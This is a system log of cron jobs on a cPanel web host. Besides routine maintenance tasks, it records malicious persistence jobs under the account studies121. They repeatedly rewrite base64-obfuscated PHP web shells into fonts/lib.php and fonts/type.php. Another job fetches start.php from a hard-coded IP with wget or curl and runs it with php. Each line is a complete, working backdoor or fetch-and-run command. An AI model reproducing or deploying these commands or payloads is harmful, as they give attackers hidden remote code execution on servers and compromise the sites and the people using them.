Sep  3 13:00:01 ip-184-168-122-23 CROND[9636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:00:01 ip-184-168-122-23 CROND[9640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:00:01 ip-184-168-122-23 CROND[9638]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:00:01 ip-184-168-122-23 CROND[9641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:00:01 ip-184-168-122-23 CROND[9642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:01:01 ip-184-168-122-23 CROND[9751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:01:01 ip-184-168-122-23 CROND[9752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:01:01 ip-184-168-122-23 CROND[9754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:01:01 ip-184-168-122-23 CROND[9753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:01:01 ip-184-168-122-23 CROND[9756]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 13:01:01 ip-184-168-122-23 CROND[9755]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9756]: starting 0anacron
Sep  3 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9774]: finished 0anacron
Sep  3 13:02:02 ip-184-168-122-23 CROND[9852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:02:02 ip-184-168-122-23 CROND[9855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:02:02 ip-184-168-122-23 CROND[9856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:02:02 ip-184-168-122-23 CROND[9854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:02:02 ip-184-168-122-23 CROND[9857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:03:01 ip-184-168-122-23 CROND[10037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:03:01 ip-184-168-122-23 CROND[10039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:03:01 ip-184-168-122-23 CROND[10041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:03:01 ip-184-168-122-23 CROND[10038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:04:01 ip-184-168-122-23 CROND[10140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:04:01 ip-184-168-122-23 CROND[10143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:04:01 ip-184-168-122-23 CROND[10144]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:04:01 ip-184-168-122-23 CROND[10145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:04:01 ip-184-168-122-23 CROND[10142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:05:01 ip-184-168-122-23 CROND[10246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:05:01 ip-184-168-122-23 CROND[10247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:05:01 ip-184-168-122-23 CROND[10250]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 13:05:01 ip-184-168-122-23 CROND[10253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:05:01 ip-184-168-122-23 CROND[10255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:05:01 ip-184-168-122-23 CROND[10254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:05:01 ip-184-168-122-23 CROND[10256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:06:01 ip-184-168-122-23 CROND[10358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:06:01 ip-184-168-122-23 CROND[10360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:06:01 ip-184-168-122-23 CROND[10361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:06:01 ip-184-168-122-23 CROND[10363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:06:01 ip-184-168-122-23 CROND[10362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:07:01 ip-184-168-122-23 CROND[10453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:07:01 ip-184-168-122-23 CROND[10455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:07:01 ip-184-168-122-23 CROND[10454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:07:01 ip-184-168-122-23 CROND[10456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:08:01 ip-184-168-122-23 CROND[10564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:08:01 ip-184-168-122-23 CROND[10566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:08:01 ip-184-168-122-23 CROND[10568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:08:01 ip-184-168-122-23 CROND[10567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:08:01 ip-184-168-122-23 CROND[10570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:09:01 ip-184-168-122-23 CROND[10664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:09:01 ip-184-168-122-23 CROND[10666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:09:02 ip-184-168-122-23 CROND[10669]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 13:09:02 ip-184-168-122-23 CROND[10670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:09:02 ip-184-168-122-23 CROND[10668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:10:01 ip-184-168-122-23 CROND[10762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:10:01 ip-184-168-122-23 CROND[10764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:10:01 ip-184-168-122-23 CROND[10768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:10:01 ip-184-168-122-23 CROND[10769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:10:01 ip-184-168-122-23 CROND[10772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:10:01 ip-184-168-122-23 CROND[10770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:10:01 ip-184-168-122-23 CROND[10771]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:10:01 ip-184-168-122-23 CROND[10773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:11:01 ip-184-168-122-23 CROND[10874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:11:01 ip-184-168-122-23 CROND[10878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:11:01 ip-184-168-122-23 CROND[10876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:11:01 ip-184-168-122-23 CROND[10877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:12:01 ip-184-168-122-23 CROND[11064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:12:01 ip-184-168-122-23 CROND[11066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
